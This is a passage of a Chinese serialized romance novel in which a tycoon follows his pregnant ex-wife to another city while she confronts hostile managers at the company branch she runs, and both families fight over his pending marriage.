他想派人去帮沈渺的事情,林昭是知情的。
可林昭不赞同他亲自去。
“贺总,要不我替您去呢?百荣这边离不了您啊,而且您和程小姐婚礼在即,很多事情等着您处理呢!”
贺忱,“距离婚期还很久,不急,按我说的做。”
林昭欲言又止。
最终他什么都没说,却觉得……要变天了!
他转身正欲去订票时,突然又听贺忱添了句,“别告诉沈渺。”
“是。”林昭的心哇凉哇凉的。
沈渺,自求多福吧。
贺忱转身朝另外一个方向走去,他径直去了秦川的办公室,却被告知秦川今天来没医院。
秦川的电话打不通,他又吩咐林昭找人。
临近中午,林昭发来了秦川的具体位置,在京北大学城附近的一所出租屋里。
那所出租屋,是他读大学时住过的。
贺忱去过,直接找上门。
165.贺忱眼里容不得沙子
秦川开门,看到来的是贺忱,意外中又带着一丝解脱般的释然。
“我就知道,你会找到这里来。”
门开着一条缝,贺忱抬脚将门踢开。
秦川让出位置,看着他双手插兜走进来。
两室的出租屋很狭窄,两个身形高大的男人站在里面,显得拥挤。
贺忱站在屋子中央,他转过身来打量秦川。
“坦白从宽抗拒从严,秦川,我只给你这一次机会。”
秦川知道,程唯怡是不会撕破脸的。
但聪明如贺忱,他找到这里来,说出这句话,就证明他已经察觉到什么。
“我没什么好说的。”
可是,秦川不能说,程唯怡有不敢让贺忱知道的事情。
他也有。
贺忱眸光隐晦不定,沉默令室内的气息一度将至冰点。
“现在回去收拾东西,明天跟我去深城。”
良久,他缓缓开口,丢下两句话后,他绕开秦川朝屋外走去。
秦川转过头,看着他下台阶,身形渐渐消失在视线中。
他甚至想好了,他们会绝交,这段二十多年的友情到头了。
贺忱的眼里一向容不得沙子,他算例外。
秦川的内疚更深一层,饱受煎熬。
去深城?或许,沈渺就是贺忱眼里另外一个特殊的‘沙子’。
——
深城的清晨微凉,沈渺穿着浅灰色的连衣裙,身上裹着商音强行让她带着的披风。
她刚下车,李白恬就匆匆过来了。
“沈总,不好了,分部几个高层聚在会议室里,说要讨伐你,周敬才那个狗腿子说让我来通知你,他应付,但我看他根本就是留下一起商量怎么对付你的!”
还是为昨天上新闻的事情。
沈渺想过他们会拿这说事。
可她没想到,他们这么明目张胆,要讨伐她。
讨伐的目的,是想逼她主动离开分部。
“沈总,要不咱们找贺总帮忙?”
李白恬试探性地问。
沈渺看她一眼,“贺总是我们的领导没错,但你别忘了,我是他们的领导,还能让他们牵着鼻子走?”
“啊。”李白恬挠挠头,“那我们怎么办?”
沈渺看了看面前的高楼大厦,她思忖了下。
“你去查一下高夫人在哪儿,查完发消息给我,今天给你放一天假,去玩儿吧。”
李白恬瞪大眼睛,“玩儿?那您呢?”
沈渺,“按我说的做。”
她转身回到车上,给司机也放一天假,自己开车离开。
走到半路上时,李白恬就把高夫人的行踪发给她了。
高夫人今天陪儿媳妇去选月子中心了。
沈渺一脚油门踩下去,立马回家喊上商音,直奔月子中心。
“你今天工作不忙吗?怎么突然就回来了。”
车上,商音坐在后排,逗弄着商商,同沈渺说。
沈渺,“刚好有时间,先把这件事情提上日程,我了解了一下这家月子中心,还有靠谱的住家育儿嫂,等会儿选下,帮你带商商。”
“那再好不过了,我真不是个负责的妈,带了他几天就感觉身心疲惫。”
商音穿着舒适的纯棉T恤,带着黑框眼镜,素颜朝天。
整个人妈味十足,跟她以前判若两人。
“我看育儿书上说,生产后的孕妈妈更需要多关注情绪,长期在家里带孩子情绪会有问题的,这不是你的问题,这是每个妈妈都要经历的阶段。”
沈渺开导着她,“找到合适的育儿嫂,我腾出一天来陪你去逛街,散散心。”
商音一听这话,来了精神,“我听说百鸣商场总部在深城,到时候我们去逛逛?”
“好。”
沈渺的几句开解,就让商音恢复了热血,热火朝天地聊逛街。
半小时后,维尔亚月子中心。
沈渺从车上下来,锁好车,与商音一起推着商商进去。
前台接待穿着紫色的纯棉工服,笑脸相迎。
她过来后就蹲在商商身边,边逗弄小家伙,边与她们沟通。
“两位是来看月子中心还是选育儿嫂?”
“看……”
“选育儿嫂。”
沈渺先一步开口,打断商音的话。
她扫视了一圈大厅,一眼就看到了从电梯里出来的高夫人与一个看起来二十出头的女人。
女人大波浪小短裙,肚子高高隆起,看起来月份不小了。
应该是高家的儿媳妇。
“音音,你先看,我遇到熟人了,去打个招呼。”
沈渺给商音使眼色。
商音便知她怀孕的事情目前还未公开,应声后让前台带着她和商商去选月嫂。
沈渺朝高夫人她们走去,与此同时高夫人也已经看到她了。
“沈渺,这么巧,你这是……”
高夫人目光诧异。
“陪朋友过来选月嫂。”
沈渺朝高夫人颔首一笑,“高太太,又见面了。”
高夫人跟着笑起来,“我说你这么年轻,还没结婚吧?不应该来这种地方呢。”
说着,她将身边大着肚子的女人往身边拉了拉,“这是我儿媳妇,吴玥珊。”
“你好,沈渺。”
沈渺朝吴玥珊颔首,主动打招呼。
吴玥珊打量着她,语气带着很浓的抗拒。
“沈渺,百荣集团贺总的秘书,早有耳闻,今天一见果然名不虚传。”
高夫人一瞬察觉到吴玥珊的异样,轻轻碰了下吴玥珊的胳膊。
“你看,连珊珊这个家庭主妇都听说过你,可见你在商圈是真出名。”
她打着马虎眼,试图将吴玥珊带来的微妙不悦散去。
沈渺确定自己是第一次见吴玥珊。
清晰地感受到吴玥珊的恶意后,她顺着高夫人给的台阶下去。
“过奖了,还是那句话,跟对了人,多亏了贺总提拔。”
她看了眼腕表,又说,“时间不早了,不打扰高太太,我送您出去。”
高太太颔首,往外走着与她说,“网上的新闻我看到了,你别放在心上,媒体记者瞎写。”
“当然不会,媒体什么德行的,我也清楚。”
沈渺送高夫人到外面,不等说告辞的话,吴玥珊已经上了车,并且将车门摔得震天响。
高夫人不由得拧起眉,隔着车窗看了里面一眼。
然后回过头来,朝沈渺扯着笑容。
“孕妇情绪不稳定,你多多理解。”
虽然不算特别熟。
可吴玥珊无缘无故甩脸子,实在有失礼数。
“理解,高太太不用放在心上。”
沈渺说完,目光落在高夫人颈间一条翠绿的玉石项链上。
“您的项链很漂亮。”
高夫人摸了摸那条项链,“这是玉松石的,上个月出国刚买的,你也觉得漂亮?我们的眼光真一致,同批还有一个手链,你要是不介意我让人给你送到公司。”
166.离婚是她提的?
玉松石,价值不菲。
哪怕是一条项链,最低也要六位数。
沈渺跟高太太的关系没好到可以收对方这么贵重礼物的地步。
但她说,“那就谢谢高太太了。”
“不用客气。”高夫人明白她的意图。
沈渺目送高夫人上车后,转身回了月子中心。
这家月子中心是深城顶尖级别,最低收费标准是十万起步的。
沈渺根本没打算看,进去后就只跟着商音看了育儿嫂。
商音挺喜欢一个金牌育儿嫂的,但她肉疼的是对方月薪三万。
“京北那个才两万。”
“贵有贵的道理,既然喜欢就先试用一段时间。”
沈渺看过对方的履历,经验丰富而且受到每一任雇主的好评。
好的育儿嫂千金难求,凭着商音的能力,她请得起。
只不过如今手头不宽裕,商音舍不得。
趁着商音犹豫,沈渺拿出卡,直接定了育儿嫂,将试用期的费用交了。
商音反应过来,又感动又心疼。
“未来你需要钱的地方很多,省着点花啊。”
“钱没了还能赚,不能委屈了商商。”
沈渺把票据塞她手里,“只是育儿嫂若来了,我那儿就住不下了,还得再做安排。”
公司给她的复式是两居室,总不能让育儿嫂打地铺。
商音立马说,“我昨天看到对面的公寓出租,我搬过去吧,这样不光有了住的地方,还能腾出直播的场地。”
育儿嫂找到,她就得复工开播赚钱了。
“行,那我们回去看看。”
两人办好育儿嫂的手续,带着商商回到车上。
商音才冷不丁想起来,“还没咨询月子呢?”
“不问了。”沈渺发动引擎,踩下油门,“这里太贵了,不是我们能负担起的,换个地方。”
“那你带我来这儿干什么?”
商音起初选月子中心时,就对这地方很动心。
只是这里收费太高了,所以不在她首选之内。
她打算看看其他地方,若实在没有合适的,再咬咬牙让沈渺来这儿。
“处理一些私事,现在都解决了。”
商音想到什么似的说,“刚刚那个人,就是新闻上报道的高太太?”
沈渺点头,解释了两句,两人又去了其他月子中心。
临近中午,沈渺接到了李白恬的电话。
“沈总,前台说高太太让人送过来一个手链,说是给您的。”
“让前台拍张照片发给我。”
沈渺没想到,高夫人这么快就把东西送过来了。
“把东西放好,明天我去公司时交给我,另外你去选一件等值的东西,送到高家去。”
李白恬‘啊’了一声,“可我这里没那么多钱。”
沈渺,“你去选,多少钱我转给你。”
她也没钱,但是来深城时,贺忱给了她一张黑卡。
上流圈子需要打点的地方多,除了正常的商业交流,人情往来是必须的。
她可以随意支配卡里的钱,只要开具发票证明用处就可以。
没几分钟,沈渺收到了手链的照片。
她将照片存下,没有立刻发出去。
李白恬联系的是她在京北时的号码。
她来到深城办了个工作号,此时工作号已经被打爆了。
周敬才的消息和电话最多,问她去了哪里,全公司都在等着她开会。
所谓的等着开会,就是等着讨伐她呢。
沈渺没回。
她点开了韩文松发来的无数消息,最后一条是:【沈总,逃避是没有用的,贺总怎么会派你这样的懦夫来接手分部!】
沈渺依旧没回,手机继续静音,丢回包里。
她带着商音租下了对面的公寓,将商音跟商商的东西搬过去。
一通折腾,天已经黑了。
两套房子隔着一条路。
商音抱着商商在门口的台阶上坐下,等着沈渺把商商的奶瓶拿过来。
“突然发现,有个男人也挺好的。”
商音扯着嗓子,隔着马路跟沈渺喊,“咱俩谁有个老公,这时候都能把他拉过来当苦力。”
沈渺拿着奶瓶出来,关上门往她这边走。
“那你还不找一个。”
商音冷嘁一声,“我要想找,挥挥手大把大把的来。不给我们干活给钱也行,就像贺忱,你不离婚也挺好的,至少吃喝玩乐都不愁,遇到这种事情他不给你搬家,但出钱找人给你搬,也一样。”
沈渺走到她家门口,看着坐在几层台阶上的她,脚步顿住。
商音的想法多变,一会儿说没感情的男人,钱再多也不要。
这会儿轮上事,又觉得只要有钱就行。
她只是说说,真正滋味沈渺是设身处地感受过的。
沈渺沉吟片刻道,“没有感情的婚姻,继续下去也是耗着,早散早好,两不耽误,我从来不后悔跟他提离婚。”
主要是,她别耽误贺忱另娶的路。
“瞧我,又把话题扯到这上面来了。”
商音轻拍了下自己的头,“你说得对,别人眼里他再好,你也不要,有的是男人等着你呢……”
她起身,朝沈渺招招手。
沈渺继续向前,把奶瓶交到她手里。
两人一前一后进入公寓内。
公寓外的道路上种了两排广玉兰。
茂密而葱绿的树枝遮挡着路灯的光亮,阴影处,一抹身形站在那里。
她们彻底进入公寓后,贺忱从树荫下走出。
那张轮廓分明的面容阴郁不定,他凝了眼公寓方向,眼底一片深沉。
没有感情的婚姻,继续下去也是耗着。
早散早好,两不耽误。
这就是她离婚的原因,没有感情。
贺忱薄唇抿成一条直线,他面容被公寓亮起的一簇灯光照亮,眸色比夜晚的天空还要暗。
“离婚是她提的?”
暗处,秦川身形微动,他语气诧异。
贺忱眉骨一拢,转过身从兜里掏出烟,点了根挂在嘴上。
“在你没有老实交代之前,少说废话。”
他转身往公寓群外走。
秦川拉着两个行李箱,跟上他,一言不发。
一路上,贺忱理都不理他。
落地深城,直奔沈渺这儿。
他觉得贺忱来深城是带着满腔热血的。
现在,一下子全被浇灭了。
走在前面的贺忱手机响起,是林昭打来的。
“贺总,程家那边对您去深城非常不满,程家夫妇到贺家去要说法了。”
贺忱,“你给程青良打电话,把约好的几个医生联系方式给他,让他看着办,盯紧了程家。”
167.这门婚事不要也罢!
“这——”
林昭很为难,“这是您的家事,我插手会不会不方便?”
贺忱的意思,可以由贺家转达。
他一个下属,在贺家人面前,去传达贺忱的意思,实在——
“让你去你就去。”贺忱薄唇轻启,“他不会为难你。”
林昭只能听命,挂了电话。
贺忱将手机揣回兜里,想起什么似的,停下来回头看着秦川。
秦川一手拖一个行李箱,跟着他。
“把你的手机给我。”
贺忱话音刚落地,秦川就把行李箱放下,从口袋掏出手机,递过去。
他接过手机,把卡拔出来丢掉,装了一张新的卡进去。
“这上面有我的号码,有事打给我,现在滚,别出现在我眼前。”
他将手机还给秦川,拿过自己行李箱,阔步离开。
霓虹灯照亮半座城市,空旷的马路上。
一簇簇的光照下来,男人身影被拉得老长。
秦川看着他的背影,好一会儿转身朝另外一个方向走去。
——
京北,贺家。
“黎艳,唯怡跟贺忱的婚事,是我们程家高攀了,可是贺忱也太不把她当回事了!”
孙易琴搂着眼眶通红的程唯怡,心疼不已,她豁出去跟明黎艳这么多年的友情,也要要个说法。
“都说男人婚前婚后两个样,我理解,贺忱工作忙我没指望他能哄唯怡一辈子,可这婚还没结,他们在一起满打满算还不到一年,贺忱就这样,我怎么放心把唯怡交给他?”
明黎艳的脸色不好看。
一是孙易琴是她多年好友,找上门要说法,让她在贺家人面前下不来台。
毕竟,她是极力撮合这门婚事的。
二是贺忱竟然去了深城,而沈渺就在深城。
没有人摸透贺忱到底去干什么。
“分部刚刚建立,人心不稳,韩家虎视眈眈,贺忱一定是为工作才——”
不等明黎艳的话说完。
孙易琴打断道,“非要把话说这么明白吗?沈渺在深城,她的出身背景,哪一样配得上分部掌事人的位置?贺忱是想金屋藏娇,他就是对唯怡变心了!”
“孙易琴,你别胡说八道!”
明黎艳容不得有人说贺忱半个破字。
她站起来,气势一瞬间上来了。
“刚开始他们在一起时,贺忱没哄她吗?吵个架都闹得满城风雨,是她不知好歹,还要动沈渺,这才惹急了贺忱,贺忱惜才,沈渺除了出身不行,能力在男人中都数一数二,换我我也想把人留住,有什么错?”
孙易琴哑口无言。
明黎艳满腔的不满和怒火,轰得程唯怡脸色涨红,羞耻不已。
“伯母,我知道我做得不好,可我想任何一个女人,都做不到眼睁睁看着未婚夫跟前妻出双入对,我是做了很多不好的事情,让贺忱哥失去了哄我的耐心,可如果他一开始就离沈渺远远的,怎么会有这么多事情呢?”
她哭得梨花带雨,眼泪婆娑成了泪人。
孙易琴心疼地搂着她,“我的女儿啊,明黎艳你也是看着她长大的,可你到底还是护自己的孩子,如果是这样,这门婚事不要也罢!”
她话音落地,程唯怡立马朝她猛摇头。
她做这么多,不就是为了嫁给贺忱吗?
怎么能取消呢!
孙易琴借着搂她的姿势,把她的动作给挡住。
“胡闹!”
明黎艳气狠了,“我们贺家娶什么样的儿媳妇娶不到?怎么到了你们程家这里,闹得一出又一出,婚事人尽皆知,现在告诉我不结了?孙易琴,你好好找找程唯怡的毛病,少拿这个来拿捏我!”
贺懿被她一嗓门吓得一激灵,往贺老夫人身边靠了靠。
贺老夫人闭上眼睛,不知是眼不见为净,还是不忍直视这翻脸的场面。
“一门婚事闹成这样,让人看笑话,这事双方都有错,你们程家若是咽不下这口气,这个婚不结也罢。”
贺岭山黑着脸,发表了自己的意见后,起身上楼。
他的离席,让气氛陷入僵境。
孙易琴了解明黎艳,能拿捏住明黎艳却忘了还有个贺岭山。
她一下噤声,面色悻悻。
“老爷子,老夫人,又让你们跟着操心了。”
程青良站起来,朝着二老微微颔首。
“婚事结好了是喜事,结不好就是仇人,唯怡跟贺忱之间没有问题,唯一的隔阂就是沈渺,今天上门是我们冒失了,我代表程家和唯怡,向你们道歉。”
说完,他又看向明黎艳。
“他们的婚事,确实给贺家带来不少麻烦,现在取消婚礼更让人看笑话,不如各退一步,贺忱去深城的事情我们不追究了,你让他尽快回来,并且开除沈渺,这样行不行?”
明黎艳图快刀斩乱麻。
直觉告诉她,贺忱去深城就是为了沈渺。
只要没了沈渺,一切风平浪静。
她正欲答应时——
却听贺老爷子沉声道,“这叫各退一步吗?这是我们贺家退两步,让贺忱回来还得开除沈渺,他若不是冲着工作去的倒好说了,万一真冲着工作去,岂不是要因为程家,连工作都不顾了?”
霎时,程青良脸色一阵青白。
客厅一片死寂,只有程唯怡的抽泣声。
“小懿,给你哥打电话。”
贺老爷子开了口。
无论如何,事情总要解决。
但只有贺忱一人能解决。
贺懿立马拨通贺忱的电话。
电话响了几声,被接起,她赶紧把手机给了贺老爷子。
程家几人,纷纷朝这边看过来。
但贺老爷子却是起身,去了阳台上跟贺忱通话。
门铃响起,下人去开门,很快又折回来。
“夫人,是林助理来了。”
明黎艳蹙眉,“让他进来。”
林昭走进来,挨个与贺家几位打招呼。
然后才看向程家人。
“程先生,贺总让我单独转告您两句话。”
虽说林昭只是贺忱的助理。
可是程青良从来不敢轻视,他只是疑惑,“什么事情,还要单独说?”
“有什么话不能在这里说!”
明黎艳不满道,“你可真是贺忱的一把好手,这种事情也要你插手,连我们家里人都摸不透他要干什么!”
林昭背脊僵着,解释道,“明董,这……是贺总的意思。”
“在这儿说!”明黎艳怒意更浓了。
168.我要妈妈,我要妈妈!
那端,程唯怡跟孙易琴眼神交流着。
很快孙易琴就站起来了,“既然贺忱是有话要单独说,那就让他们去谈,我跟你聊两句。”
她走到明黎艳身边,推搡着明黎艳在沙发上坐下。
明黎艳甩开她的手,“我们该聊的刚刚不是都聊完了?”
“别生气,我刚刚说话冲动了,不能因为他们年轻人坏了我们的关系,你说你好歹除了贺忱还有贺懿,我就唯怡这么一个女儿,我心疼,你别生我……”
孙易琴又开始说好话。
那端,程青良跟着林昭离开客厅。
他将贺忱的话如实转告,又给了程青良几张名片。
“什么意思?”程青良不明白。
“程先生,您若是不明白,可以去问问程小姐。”
林昭毕恭毕敬的,“贺总说,等您跟程小姐沟通完,如果还不明白什么意思,他会跟您解释。”
程青良皱起眉头。
“另外,贺总还让我转达一句,贺家没有人能做得了他的主,程家对这门婚事,对他有任何的不满,可以直接找他,找不到他的可以来找我,我帮您转达。”
林昭跟了贺忱很久,身上有几分贺忱的影子。
程青良犹豫了几秒,就回去,带着程家母女走了。
彼时,孙易琴已经跟明黎艳服了软。
明黎艳虽然还在生气,但没再说难听的话,就是给孙易琴面子了。
她拦住了想离开的林昭,“贺忱让你跟程家说什么?”
“明董,贺总说让您不用操心他的事情。”
林昭欲言又止,余下的话不知该不该说。
明黎艳一眼看出他还没说完,“你继续说!”
“我……”林昭一咬牙,一跺脚,一口气说,“贺总说操心多了容易长皱纹,让您以后少管他的事情!”
不用操心,是林昭再三斟酌之后的客气话。
他本来想委婉客气的转达,可架不住明黎艳的眼睛太毒,看出他还没说完。
明黎艳愣在原地。
林昭趁此机会跑了。
此时,程家车上。
程青良把几张名片放在程唯怡面前。
“贺忱这是什么意思?”
程唯怡心提到嗓子眼,她求助的目光看向程青良。
“你问我,我们哪里知道?”孙易琴把程唯怡护在后面,“我看贺忱就是想悔婚,我可告诉你,必须向着自己的女儿!”
程青良,“你们是不是有事情瞒着我?”
孙易琴,“没有!”
她否认得干脆利落,利落到程唯怡的心里发虚。
“我不管你们两个搞什么,这门婚事必须成,不然贺家丢的只是面子,地位不会有任何动摇,我们程家就里子面子都丢了,而且唯怡以后很难再找到合适的人结婚!”
程青良口中‘合适的人’指的是比程家家世好的。
京北有的是比程家好的,但他们都将会介意程唯怡这段人尽皆知的‘感情’。
程唯怡心里发慌,却仍旧不敢跟程青良说。
孙易琴拍着她手背,给她加油打气,“无论如何,这个婚一定要结,听话,妈给你想办法……”
程青良管不住这母女两个,他的目的只有一个,这门婚事必须成。
反正目标一致,他索性不管不问了。
贺老爷子跟贺忱聊了几句,跟程家的婚事全都由贺忱自己做主。
他回到室内,将电话还给贺懿。
“贺忱的事情,谁都不许再管了,让他自己处理。”
老爷子发了话,明黎艳想给贺忱打电话好好质问一番的念头,打消了。
——
深城。
育儿嫂明天才过来,当天晚上商音带着商商,又回了沈渺那儿睡。
快凌晨时,商音的声音在楼上传来。
“渺儿,你翻来覆去的干什么呢?”
沈渺刻意放轻的呼吸声逐渐恢复正常。
她坐起来,借着月光看向楼上。
“心里有些莫名不安。”
“有啥不安的?”商音借着栏杆站起来,光脚下楼,直接爬上沈渺的床。
“咱们都离开京北了,而且怀孕的事儿反正已经露馅了,贺忱也没发现不对,还有啥可怕的?”
沈渺靠在床头,细眉拧成一团。
她说不上哪里不安,就像空气渐渐稀薄,慢慢令人窒息一样的不安。
“躺下,我陪你。”
商音拍拍她枕头,“你说生了孩子需要照顾情绪,其实孕期的情绪也要注意,你马上孕晚期,孕激素不稳定,情绪就会低落,没事都有我呢。”
沈渺躺下来,任由商音在她耳朵旁边叨叨。
“我计划好了,明天育儿嫂来了,我就开始整顿复播的事情,先把直播间装扮好,再重新买套装备……”
“还有啊,拿给你营养餐做的号涨分特别快,发商商也涨分,等你生了我再起个号……”
不知不觉,在她的碎碎念中,沈渺睡着了。
她做了一个梦,梦见孩子出生了,是个女孩。
她和商音带着两个孩子生活在一起,生活简单幸福。
眨眼孩子就五六岁了,有一天女儿突然不见了。
她找遍家里每个角落都没有。
窗外传来孩子的哭声,她透过窗户看到孩子被贺忱抱着上了一辆车。
沈渺狂追出去,跑掉了一只鞋,跌倒在地上,膝盖磕地流血不止,钻心的疼。
可更让她疼的是女儿那一声声‘我要妈妈,我要妈妈……’
“不要,不要!贺忱!”
沈渺猛地坐起来,额头渗着细汗,她大口大口地喘息。
清晨的阳光透过窗帘缝隙洒进来,半开的窗户传来远处杂乱的声音。
她渐渐回神,双手下意识覆上小腹。
许是察觉到她的不安,肚子里的小家伙狠狠踹了她两脚。
她这才意识到,是一场梦。
一旁,商音将头蒙在被子里,睡的正香。
沈渺缓了缓,起身下床洗漱。
片刻,她整顿好给商音留了早餐,开车去公司。
出发之前,她将一张照片发到社交账号上,当众感谢高夫人赠与的手链。
半小时后,沈渺抵达公司。
周敬才跟李白恬在停车场的电梯门口等着她。
见她来了,两人一同跑过来。
李白恬还有意无意地把周敬才挤到一边去。
周敬才被她挤得踉跄,撞了墙。
李白恬先一步跑到沈渺身边,汇报最新‘战况’。
“糟糕了,他们把韩董的儿子请过来了,大家都在会议室等你呢,沈总,怎么办?这次咱们凶多吉少了!”
169.昨天没报平安
“怕什么,兵来将挡,水来土掩。”
沈渺给李白恬一个安心的眼神。
那端,周敬才扶着腰过来,瞪了李白恬一眼。
“沈总,韩经理跟韩少都等着您呢。”
他的语气算不上差,但这话就是妥妥传话的狗腿子。
李白恬翻了个白眼。
几天的相处,她对周敬才初见的钟情,已经快耗没了。
“我已经跟沈总说了,你靠边站,别挡路。”
她又推了周敬才一把。
周敬才挺直腰板站在原地没动。
李白恬抬脚,就朝他脚背上狠狠踩了一下。
“嗷——”
周敬才疼得抱脚跳,“你们南方女人又粗鲁又蛮横!”
李白恬护着沈渺进入公司。
彼时,整个公司人心惶惶。
昨天高层们齐聚一堂,等着讨伐沈渺。
结果沈渺溜了,一群人大眼瞪小眼,被空气打了脸。
神仙打架小兵遭殃,每个高层都有气没地出,员工成了出气筒。
以至于,员工们人心惶惶。
见了沈渺,他们都不知道该不该打招呼了。
沈渺目不斜视地进电梯,到了顶层后她走出电梯,径直朝自己办公室走。
却在办公室门口,被韩文松给拦下来了。
“沈总,高层们等着您开会呢,韩少也来了。”
他伸出手,拦着沈渺的去路,将办公室的门挡得死死的。
沈渺停下来,眉头微拧。
“我以为,沈总今天还回不来公司呢。”
韩文松继而阴阳了句,“沈总,逃避是解决不了问题的,你坐到今天这个位置上,不会不懂吧。”
沈渺冷漠地看向他。
“懂,既然各部门高层这么想见我,那我就去看看。”
她将包交给李白恬,“你让秘书办的人准备些茶水,送到会议室,免得大家口渴。”
李白恬目光担忧,“沈总……”
“去就行。”沈渺唇瓣轻启,吐出三个字,去了会议室。
偌大的会议室,人满为患。
各部门高层分别坐在两端,韩董的儿子韩城光坐在尾端正中央的位置。
韩城光三十岁出头,在商圈算得上年轻有为。
若不是长得实在太丑,这个年纪应该孩子都会打酱油了。
结果他连老婆都还没娶。
“沈总,这位是韩少爷。”韩文松介绍着。
沈渺在顶端的椅子上坐下,双腿叠放腰板挺直。
隔着长长的桌子,她与韩城光对视了几秒。
就听韩文松又说了一遍,“韩少爷是韩董的儿子。”
这是让沈渺先开口,主动跟韩城光打招呼。
“我们见过。”
沈渺收回看韩城光的目光,看向韩文松道,“他不光是韩董的儿子,还是你的堂弟。”
韩文松眉头一拧,“沈总,你这什么意思?”
“我的意思是,韩先生是韩经理的堂弟,韩董的儿子,我理应打招呼,可这里是公司,我们在解决内部的问题,不方便招待。”
沈渺话落,刚好周敬才推门进来。
她直接吩咐道,“周助理,请韩先生出去,好好招待。”
“啊?”周敬才眼珠子提溜转,CPU都快烧了,恨不得退回几秒钟前,他就不该推这个门进来。
他看了眼韩文松。
韩文松则看向韩城光。
韩城光五官各长各的,丑到不忍直视的脸渐渐扭曲。
“沈渺,你不过是贺忱身边的一条狗——”
“韩先生,现在我请你离开,你要不知好歹,我就叫保安了。”
沈渺这话一出,安保部的部长将头低得死死的。
韩文松冷笑一声,“沈总好大的威风,你给公司带来了这么大的麻烦,还不让人管了?别以为有贺总护着你就能无法无天,韩董特意让韩少爷来盯着的!”
“百荣改姓韩了吗?”沈渺反问,“韩少爷若真是韩董派过来的,那韩董就是绕过贺总执权,等我给贺总打个电话问问。”
沈渺拿过手机,便要拨电话。
韩城光虽然是韩董的儿子,在商圈跺跺脚也能抖半抖。
可如今贺忱跟韩董的关系形同水火。
沈渺不能给韩家一点面子,给了就等于给贺忱丢人。
“你少拿贺忱来压我!”
韩城光豁然起身,“今天就是他坐在这里,也不会把我赶出去!”
贺忱还真不会,但他一定会纵容沈渺赶人,还要在背地里给她竖大拇指。
跟了贺忱这么久,这方面她还是很了解的。
“韩先生误会了,我先请你出去,你不走我没办法了才换个方式让你走。”
沈渺微微抬了下头,“时间不多,韩先生自重。”
韩城光来势汹汹,颇有今天就把沈渺拉下台的意思。
但满腔计划,一瞬间被沈渺瓦解,天崩开局。
他气得甩手就走。
韩文松送他到门口,他好一番交代才不甘心地离开。
会议室门关上,室内落针可闻。
韩文松在沈渺右手边的位置坐下。
他率先发难。
“沈总,你刚上任就给公司带来这么大的舆论麻烦,不打算给我们一个交代吗?”
沈渺沉默,她面色淡然,目光在众人脸上慢悠悠地扫着。
不知为何,她的眼神所到之处,都令高层们不敢直视,下意识地低头。
“韩经理别停,继续说。”
她目光扫了眼韩文松,“你把所有想指责,该说的话都说了,我统一回答。”
没料到她这个态度,韩文松一时说不上话,“你——”
他还没说什么,沈渺的手机响了一声。
是贺忱发来的消息。
【昨天没报平安。】
昨天虽然没上班,却比上班还累。
躺下后她翻来覆去地睡不着,但早就把报平安这茬给忘了。
沈渺指尖在屏幕上飞跃,快速打出两个字发过去。
【安全。】
“沈总,你这是什么态度?我们在跟你说事情,你还玩手机。”
韩文松逮住机会指责。
沈渺把手机放下,“你这是什么态度?不知道的还以为你是我的上司。”
“我知道你是我们的上司,可分部刚成立本就不稳,大家能不能坐稳当下的位置还两说呢,你惹了祸让总部不满,总部要算账不还得下面人给你顶罪?你不该给我们一个交代吗?”
韩文松振振有词。
他这番话,早就经过了多人的打磨,滴水不漏不给沈渺反转的余地。
170.沈秘书,贺总在吗?
“我这么过分,你们可以联手越级向总部汇报,把我换掉。”
沈渺不急不缓地说,“分部的规章制度是经我手立起来的,员工可以联名状越级报告,发林助的邮箱就可以,你们每个人都在报告上签字摁手印就是有效的。”
说着,她拿过手机,将林昭的邮箱发到了工作群里。
“邮箱在这里,去吧。”
韩文松:“……”
众人大气都不敢喘。
“如果不去,就听我说两句。”
沈渺站起来,双手撑在桌子上。
“抱歉因为我个人的原因,给公司带来了负面舆论,我已经跟贺总汇报过,进行反思认错了,而且也想到了办法及时做出了补救措施……”
比起韩文松提前润色过许多遍的刁难话。
沈渺字字句句掷地有声,没有过多的语言描述,只是将她做的事情说出来。
行动永远比只靠嘴更能征服人。
她刚说完,手机就响了一声。
是财经新闻弹出的词条。
沈渺公众账号发的那条消息,被媒体截图发出来,以此证明她和高夫人的关系很好。
昨天的荒谬新闻不攻自破。
一群人的刻意刁难,在沈渺轻飘飘的几句话面前,显得用力过猛。
韩文松被架在上面下不来,脸色涨青又发白。
“不过韩经理说得对,这件事情不能就这么算了,我给大家带来的麻烦我认,但由此我也发现了你们的不足。”
沈渺话锋一转,瞬间占了上位。
角落里,周敬才掏出手机,点开一个头像,静音发出一通视频通话,将画面直播出去。
他拍的是沈渺的背影,宽松的衣服看不出她怀孕,身形依旧显得很细。
那端的人很配合,不出任何声音。
“公关部没有处理突发状况的能力,是公关部经理的失职,等会儿你去人事部办离职手续。”
沈渺蓦地觉得背后有道目光在看着她。
比眼前这些虎视眈眈的目光,存在感更强。
她回头看了一眼。
角落里,只有周敬才站在那里。
她拢了拢眉,“让你去安排韩少爷,你还在这里干什么?”
周敬才忙不迭解释,“韩少爷走了。”
闻言,沈渺又将目光移开。
“沈总,公关部经理是老员工……”
“分部刚成立不到一年,老字从何而来?”
沈渺打断韩文松的话,“你们若是有异议,可以越级向总部报告,散会。”
她拿着手机转身就走。
“不是,沈总……”
“沈总,我在公司这一年没有功劳也有苦劳,你不能就这么开除我!”
“不管她,赵娜你别盖章,我看她能开得了谁……”
最后那句话,是韩文松说的。
赵娜始终没吭声。
沈渺将他们的议论纷纷抛之脑后。
她回到办公室,埋头干自己的事情。
而彼时楼下。
高耸入云的大厦下,车水马龙的街头,布加迪停在路口,十分显眼。
半落的车窗露出贺忱棱角分明的面容。
他低头看着手机,不知看了多久,才将目光移开。
贺忱的视线落在顶层,微眯起的长眸中,带着一丝笑意。
“来了又不上去,那你来干什么。”
后座,秦川施施然地说。
贺忱,“没必要了。”
他面色突然一绷,拧起眉透过后视镜看去,“滚下去,在深城自生自灭。”
“你一分钱都没给我留,我饿了两顿,昨晚睡的银行自动取款厅。”
要不是撑不下去,秦川不会来找他。
贺忱冷着一张脸,“饿死你算了。”
“也行,替秦家那些人除‘害’了,希望你能念及我曾经的救命之恩,找块好墓地把我埋了。”
秦川一脸释然的模样。
贺忱目光渐渐变得锐利,“少拿救命之恩来威胁我,再来一次不用你们两个救。”
没人知道,当初不是程唯怡一个人救的贺忱,还有秦川。
这件事情保密,是秦川主动要求的。
他不想让秦家再因为他和贺忱的关系,对他假意示好。
干脆就让秦家放弃他,没有往来。
“我看,你是不想让她再救你。”
秦川意味深长地说,“贺忱,没想到你也有做错决定的时候,现在后悔还来得及。”
贺忱眯了眯眼睛,下颚线条清晰紧绷。
良久,他岔开话题,“我给你转账,下去。”
